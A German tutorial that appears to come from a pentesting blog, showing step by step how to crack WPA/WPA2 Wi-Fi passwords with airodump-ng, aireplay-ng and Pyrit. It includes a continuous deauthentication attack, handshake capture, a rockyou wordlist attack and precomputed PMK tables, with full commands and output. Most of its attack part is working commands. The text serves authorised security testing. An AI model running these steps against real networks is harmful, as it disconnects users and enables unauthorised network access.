WPA und WPA2 knacken mit Aircrack-ng und Pyrit (Brute-Force)
Vorwort
Diese Dokumentation beschreibt das Knacken der WPA/WPA2-Verschlüsselung mittels Rainbow-Table und Brute-Force.
Bitte vergewissern Sie sich, dass Ihr System über die nötigen Voraussetzungen verfügt, wie in der Infobox beschrieben. Weiterhin sind Grundkenntnisse im Umgang mit Linux erforderlich, da die Vorgehensweise, wie sie hier beschrieben ist, in manchen Teilen abweichen kann. Kein System ist wie das Andere. Die Dokumentation wurde sorgfältig von mir geprüft. Dennoch kann ich keinerlei Haftung für Schäden an Ihrem System oder eine Gewährleistung übernehmen. Bitte verwenden Sie diese Dokumentation auf eigene Gefahr.
Diese Dokumentation beschreibt Methoden, mit denen gezielt die Verwundbarkeit eines Netzwerks oder IT-Systems gegenüber Hacking- und Manipulationsversuchen analysiert werden kann.
Ohne die ausdrückliche Zustimmung der zu testenden Organisation und/oder der betroffenen Personen sind diese Methoden illegal und können eine Straftat darstellen.
Verwendete Software:
Voraussetzungen:
- WLAN-Interface mit Monitor-Mode-Unterstützung
Weitere, empfohlene Dokumentationen:
Schritt für Schritt
Die folgende Beschreibung bezieht sich auf Kali Linux. In dieser Distribution sind die benötigten Programme bereits vorinstalliert.
Wichtig ist, dass das verwendete WLAN-Interface den Monitor-Mode unterstützt. Falls eine virtuelle Maschine (VM) eingesetzt wird, sollte diese im Bridge Mode laufen.
Gleich vorneweg möchte ich anmerken, dass eine WPA2-Verschlüsselung praktisch nicht zu knacken ist.
Zum Einen basiert WPA2 auf AES, zum Anderen unterstützt der Preshared-Key eine maximale Schlüssellänge von 63 Zeichen. Auch die Verwendung von Rainbow-Tables wird erheblich erschwert, da der verwendete WLAN-Name (SSID) mit in die Verschlüssellung einfliest.
Einfach ausgedrückt bleibt nichts Anderes übrig, als das WLAN-Passwort (Preshared-Key) zu erraten.
Die Sicherheit von WPA2 hängt also zu grossen Teilen vom verwendeten WLAN-Passwort und vom WLAN-Namen ab.
Genau da sind in vielen WLANs die Schwachstellen zu finden:
- Das verwendete WLAN-Passwort ist oft nicht sehr komplex und in einschlägigen Passwort- bzw. Wörterlisten zu finden.
- Der verwendete WLAN-Name entspricht oft dem Namen des Router-Models (z.B. 'FRITZ!Box 7490')
Wir sehen also, dass wir nicht nur mit einer entsprechenden Passwortliste die Wahrscheinlichkeit eines erfolgreichen Angriffs erhöhen können sondern auch für häufig vorkommende SSIDs eigene Rainbow-Tables berechnen können (dazu später mehr).
Ein weiterer Vorteil ergibt sich aus der WPA/WPA2-typischen Verwendung des 4-Way-Handshakes:
Die Brute-Force-Methode muss nicht gegen den anzugreifenden Access-Point durchgeführt werden, sondern es reicht bereits ein einziger Handshake, der während des Verbindungsaufbaus vom Client zum Access-Point abgefangen wird. Die Passwortliste kann anschliessend offline gegen den abgefangenen Handshake abgearbeitet werden. Sobald der Hashwert des Handshakes aufgelöst werden kann, ist das WLAN-Passwort bekannt.
Daraus ergibt sich folgende Reihenfolge:
- Informationen zum Opfer-Wlan beschaffen
- Datenverkehr des Opfer-Wlans mitschneiden
- Erneuten Verbindungsversuch der Wlan-Clients erzwingen
- Handshake ermitteln und abfangen
- Brute-Force-Angriff gegen den Handshake durchführen
- (optional) Eigene Rainbow-Tables berechnen
Root-Rechte einräumen
Während der gesamten Dokumentation werden Root-Rechte benötigt. Um auf das Voranstellen von sudo
zu verzichten, verschaffen Sie sich für die gesamte Sitzung erhöhte Rechte mit:
# sudo -i
Opfer-Wlan ermitteln
Starten Sie airodump-ng
und geben Sie das zu verwendende WLAN-Interface an:
# airodump-ng wlan0
Airodump-ng scannt jetzt nach verfügbaren WLAN-Devices. Sobald das "Opfer-Wlan" über die ESSID identifiert wurde, wird die BSSID und der verwendete Kanal (CH) notiert. Anschliessend kann airodump-ng
wieder beendet werden (Strg + C).
CH 8 ][ Elapsed: 2 mins ][ 1970-01-01 01:00 ] BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 01:23:45:67:89:10 -36 338 0 0 11 54e. WPA2 CCMP PSK Opfer-Wlan 01:23:45:67:89:11 -36 341 0 0 11 54e. OPN FritzBox!7490 01:23:45:67:89:12 -38 334 264 0 11 54e. WPA2 CCMP PSK FritzBox!7490 BSSID STATION PWR Rate Lost Frames Probe 01:23:45:67:89:10 01:23:45:67:89:13 -80 0 - 1 0 2 01:23:45:67:89:10 01:23:45:67:89:14 -76 0 - 1 0 2 (not associated) 01:23:45:67:89:15 -78 0 - 1 0 1
Datenverkehr des Opfer-Wlans mitschneiden
Starten Sie airodump-ng
mit folgenden Parametern:
(Der Syntax lautet airodump-ng --channel <KANAL> --bssid <BSSID> --write <LOG-DATEI> <INTERFACE>
)
# airodump-ng --channel 11 --bssid 01:23:45:67:89:10 --write log-handshake wlan0
CH 11 ][ Elapsed: 5 mins ][ 1970-01-01 01:05 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 01:23:45:67:89:10 -36 100 18614 2703 0 11 54e. WPA2 CCMP PSK Opfer-Wlan BSSID STATION PWR Rate Lost Frames Probe
Airodump-ng protokolliert jetzt nur noch die Verbindungen des "Opfer-Access-Points" und wartet auf einen Handshake. Sobald ein gültiger Handshake gefunden wird, erscheint dieser rechts in der obersten Zeile.
Nun haben wir zwei Möglichkeiten. Wir können darauf warten, dass sich ein Client mit dem Access-Point verbindet oder wir zwingen bereits verbundene Clients zu einem erneuten Verbindungsaufbau. Dazu bedienen wir uns einfach dem WiFi-Protokoll (IEEE 802.11), das ein Deauthentication-Frame bereitstellt. Im normalen technischen Ablauf wird dieses Frame von einem Access-Point als sanktionierende Maßnahme dazu verwendet, die Wlan-Verbindung eines Clients zu trennen. Da ein Wlan-Client in der Regel sofort eine Wiedereinwahl versucht, ist diese Methode für unser Szenario genau das Richtige.
Deauthentication-Angriff durchführen
Öffnen Sie ein weiteres Termin-Fenster und starten Sie aireplay-ng
mit folgenden Parametern:
(Der Syntax lautet aireplay-ng --deauth <ANZAHL DEAUTH-MESSAGES, 0=UNENDLICH> -a <BSSID> <INTERFACE>
)
# aireplay-ng --deauth 0 -a 01:23:45:67:89:10 wlan0 01:05:00 Waiting for beacon frame (ESSID: Opfer-Wlan) on channel 11 Found BSSID "01:23:45:67:89:10" to given ESSID "Opfer-Wlan". NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 01:05:01 Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10] 01:05:01 Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10] 01:05:02 Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10] 01:05:02 Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10] [...]
Handshake ermitteln und abfangen
Sobald ein gültiger Handshake rechts in der obersten Zeile des aerodump-ng-Fensters erscheint, können beide Terminal-Fenster geschlossen werden.
CH 11 ][ Elapsed: 5 mins ][ 1970-01-01 01:5 ] [ WPA handshake: 01:23:45:67:89:10 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
01:23:45:67:89:10 -36 100 18614 2703 0 11 54e. WPA2 CCMP PSK Opfer-Wlan
BSSID STATION PWR Rate Lost Frames Probe
Gesammelte Daten auswerten
Wir haben nun alle Daten die für den Angriff auf das Opfer-Wlan benötigt werden und können diese jetzt auswerten. Eine aktive Wlan-Verbindung zum Opfer-Access-Point ist nicht mehr notwendig.
Mit dem Befehl ls -lh
können Sie sich die Übersicht der gesammelten Daten ansehen. Interessant ist für uns nur die *.cap
-Datei:
# ls -lh
insgesamt 2,6M
-rw-r--r-- 1 root root 2,6M Jan 01 01:15 log-handshake-01.cap
-rw-r--r-- 1 root root 667 Jan 01 01:15 log-handshake-01.csv
-rw-r--r-- 1 root root 4,8K Jan 01 01:15 log-handshake-01.kismet.csv
-rw-r--r-- 1 root root 3,8K Jan 01 01:15 log-handshake-01.kismet.netxml
Verwenden Sie pyrit
um die *.cap
-Datei auszuwerten:
# pyrit -r log-handshake-01.cap analyze Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file 'log-handshake-01.cap' (1/1)... Parsed 972 packets (972 802.11-packets), got 1 AP(s) #1: AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan'): #1: Station 01:23:45:67:89:11 #2: Station 01:23:45:67:89:12, 1 handshake(s): #1: HMAC_SHA1_AES, good*, spread 1 #3: Station 01:23:45:67:89:14
Wir haben also 972 Pakete und 1 Handshake abgefangen. Da für unseren Zweck nur die Handshakes (genau genommen nur ein Einziger) erforderlich sind, reduzieren wir die Datei mit pyrit
und der Option strip
und entfernen damit alles bis auf die Handshakes.
Dieser Vorgang ist nicht unbedingt erforderlich und macht nur bei sehr grossen *.cap-Dateien Sinn. Eventuell führt man den Brute-Force-Angriff aber auch nicht selbst durch, sondern deligiert diese Aufgabe an einen Dritten (z.B. einen Online-Dienst). Es kann also durchaus Sinn machen, die übrigen Daten aus der Datei zu entfernen.
Reduzieren Sie die Datei log-handshake-01.cap
mit folgendem Kommando:
# pyrit -r log-handshake-01.cap -o only-handshake.cap strip Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file 'log-handshake-01.cap' (1/1)... Parsed 972 packets (972 802.11-packets), got 1 AP(s) #1: AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan'): #1: Station 01:23:45:67:89:11 #2: Station 01:23:45:67:89:12, 1 handshake(s): #1: HMAC_SHA1_AES, good*, spread 1 #3: Station 01:23:45:67:89:14 New pcap-file 'only-handshake.cap' written (8 out of 972 packets)
Wenn Sie nun beide Dateien vergleichen, wird die Ersparnis deutlich:
# ls -lh *.cap -rw-r--r-- 1 root root 2,6M Jan 01 01:15 log-handshake-01.cap -rw-r--r-- 1 root root 2,3K Jan 01 01:15 only-handshake.cap
Brute-Force-Angriff durchführen (Passwortliste)
Ein Brute-Force-Angriff auf WPA/WPA2 benötigt viel Rechenleistung, da die PSKs (Preshared-Keys) aus der Passwortliste nicht einfach nur ausprobiert werden.
Der Angriff läuft wie folgt ab:
Zunächst wird aus der Kombination von ESSID (Wlan-Name) und einem Eintrag aus der Passwortliste der PMK (Pairwise Master Key), der PTK (Pairwise Transient Key) und der KEK (Key Encryption Key) errechnet.
Aus diesen errechneten Werten wird anschliessend der MIC (Message Integrity Check) ausgerechnet und mit dem des abgefangenen Handshakes verglichen.
Sobald ein berechneter MIC mit dem des Handshakes übereinstimmt, ist der PSK (Preshared-Key) gefunden.
Dieser Vorgang muss für jeden Eintrag in der Passwortliste wiederholt werden. Es ist also nicht in erster Linie das "Ausprobieren" selbst, das (Prozessor-)Zeit beansprucht, sondern die dem "Ausprobieren" zugrunde liegenden Berechnungen. Diese müssen nämlich für jeden Versuch erneut durchgeführt werden.
Bei der Verwendung vorberechneter Hashwert-Tabellen (Rainbow-Tables) liegt der MIC bereits vor und muss nur noch mit dem des Handshakes verglichen werden. Dieser Vorgang nimmt im Vergleich nur einen winzigen Bruchteil der (Prozessor-)Zeit in Anspruch und kann auch auf einem schwächeren System (z.B. Notebook) durchgeführt werden. Allerdings lohnt sich diese Methode nur für den Angriff unterschiedlicher Wlans mit gleicher ESSID oder zur Vorbereitung eines Pentests, da die Hashwert-Tabelle natürlich auch erstmal berechnet werden muss.
Beschleunigung des Angriffs:
Es wird deutlich, dass Berechnungen dieser Art nicht effizient mit einer Desktop-CPU (z.B. Intel Core i5) durchzuführen sind. Eine Desktop-CPU ist für die Verarbeitung serieller Rechenoperationen ausgelegt. Bei serieller Verarbeitung kann eine weitere Rechenoperation erst gestartet werden, nachdem die Vorherige abgeschlossen ist. Zwar haben heutige Desktop-CPUs mehrere Kerne (z.B. 4 Kerne bei einem Intel Core i5) und können damit auch parallel ablaufendene Rechenoperationen durchführen, aber, um beim Intel Core i5 zu bleiben, eben nur 4 (Hyper-Threading ausgeschlossen).
Im Gegensatz zur Desktop-CPU ist der Prozessor einer Grafikkarte (GPU) voll auf Parallelverarbeitung ausgelegt, da bei grafischen Anwendungen, wie z.B. Computerspielen, unzählige Rechenoperationen gleichzeitig durchgeführt werden müssen um eine flüssige Darstellung zu gewährleisten. Eine 'GeForce GTX 1080' hat 2560 Kerne und macht damit die Überlegenheit zur Desktop-CPU mehr als deutlich.
Da wir für unsere Zwecke möglichst viele Berechnungen gleichzeitig durchführen möchten, sollten diese in einer GPU durchgeführt werden. Das ist z.B. über die, von Nvidia entwickelte, CUDA-Schnittstelle möglich.
Das Brute-Force-Programm Pyrit
, das wir in dieser Dokumenation verwenden, bringt die GPU-Unterstützung bereits mit.
Informationen zu benötigten Treibern und Einstellungen finden Sie in der Pyrit-Wiki.
In unserem Beispiel verwenden wir die Passwortliste Rockyou. Diese Passwortliste finden Sie in Kali Linux unter /usr/share/wordlists/rockyou.txt.gz
. Pyrit kann auch gepackte Dateien verarbeiten, daher muss die Passwortliste nicht zwingend entpackt werden.
Verwenden Sie folgendes Kommando, um die Passwortliste auf die Handshake-Datei anzuwenden:
(Das vorangestellte Kommando time
bewirkt, dass die Dauer der Suche ausgegeben wird. Nicht zwingend erforderlich):
# time pyrit -r only-handshake.cap -i /usr/share/wordlists/rockyou.txt.gz attack_passthrough Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Parsing file 'only-handshake.cap' (1/1)... Parsed 8 packets (8 802.11-packets), got 1 AP(s) Picked AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan') automatically. Tried 940047 PMKs so far; 2249 PMKs per second. gigglepot3niao The password is 'haniball'. real 8m30,036s user 10m25,245s sys 0m1,622s
Wir haben das Wlan-Passwort nach 8 Minuen und 30 Sekunden gefunden und dabei 940047 PMKs ausprobiert. Ich habe dafür ein Notebook mit einem 'Intel Core i5 verwendet' (daher auch nur 2249 PMKs/Sekunde). Das Wlan-Passwort war mit Absicht sehr einfach gewählt.
Eigene Rainbow-Tables erstellen
Wie eingangs bereits erwähnt, ist der Wlan-Name (ESSID) ein Teil des WPA/WPA2-Verschlüsselungs-Algorithmus. Es lohnt sich also, für oft verwendete Wlan-Namen (z.B. 'Fritz!Box 7490') eigene Rainbow-Tables zu berechnen.
Auch für einen Pentest ist die Vorberechnung der Hashwert-Tabelle sinnvoll, da dadurch vor Ort Zeit gespart werden kann. Einfach beim ersten Kundenkontakt die ESSID mit dem Smartphone ermitteln ;-).
Datenbank erstellen
Im ersten Schritt erstellen wir eine Passwort-Datenbank für Pyrit. In diesem Beispiel verwenden wir wieder die in Kali Linux enthaltene Rockyou-Passwortliste und ein dateibasiertes Backend (Pyrit kann auch SQL-Backends verwalten):
# pyrit -i /usr/share/wordlists/rockyou.txt.gz import_passwords Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. 14344369 lines read. Flushing buffers..... . All done.
ESSID hinzufügen
Nun befinden sich über 14 Mio. Passwörter in der Pyrit-Datenbank. Auf die gleiche Weise können weitere Wörterlisten hinzugefügt werden. Pyrit erkennt doppelte Einträge und überspringt diese automatisch.
Als nächsten Schritt wird die gewünschte ESSID (oder Mehrere) hinzugefügt:
# pyrit -e 'Opfer-Wlan' create_essid Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Created ESSID 'Opfer-Wlan'
Rainbow-Tables erstellen
Aus diesen Daten kann nun die Hashwert-Tabelle generiert werden.
Dieser Vorgang kann, je nach Grösse der Datenbank, eine ganze Weile dauern. Für unser Bespiel habe ich wieder das Kommando time
vorangestellt:
# time pyrit batch Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Working on ESSID 'Opfer-Wlan' Processed all workunits for ESSID 'Opfer-Wlan'; 3224 PMKs per second.. Batchprocessing done. real 85m40,134s user 337m1,874s sys 0m14,380s
Wir sehen, dass die Erstellung der Hashwert-Tabelle wesentlich mehr Zeit beansprucht hat als der direkte Brute-Force-Angriff mit der einfachen Passwort-Liste. Das liegt allerdings auch daran, dass das von uns entdeckte Wlan-Passwort bereits sehr früh in der Passwort-Liste zu finden war und dadurch von 14 Mio. Wörtern lediglich knapp 1 Mio. ausprobiert werden mussten. Die Berechnung der Hashwert-Tabelle basiert aber auf der gesamten Passwort-Liste.
Brute-Force-Angriff durchführen (Rainbow-Table)
Wir führen nun den Brute-Force-Angriff erneut durch. Diesmal verwenden wir die vorberechnete Hashwert-Tabelle:
(Auch hier verwende ich das Kommando time
, um die benötigte Zeit zu messen.)
# time pyrit -r only-handshake.cap attack_db Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Parsing file 'only-handshake.cap' (1/1)... Parsed 8 packets (8 802.11-packets), got 1 AP(s) Picked AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan') automatically. Attacking handshake with Station 01:23:45:67:89:15... Tried 3148651 PMKs so far (32.8%); 3075959 PMKs per second.. The password is 'haniball'. real 0m1,771s user 0m5,312s sys 0m0,121s
Die Zeitersparnis unter Verwendung einer vorberechneten Hashwert-Tabelle ist wirklich enorm. Für die gleiche Aufgabe, die im ersten Schritt noch 8 Minuten und 30 Sekunden gedauert hat, haben wir jetzt nur knapp 2 Sekunden benötigt.
Das Beispiel macht deutlich, wie sinnvoll die Verwendung von Rainbow-Tables sein kann. Sei es für häufig vorkommende Wlan-Namen oder für die Verwendung auf einem langsamen Notebook.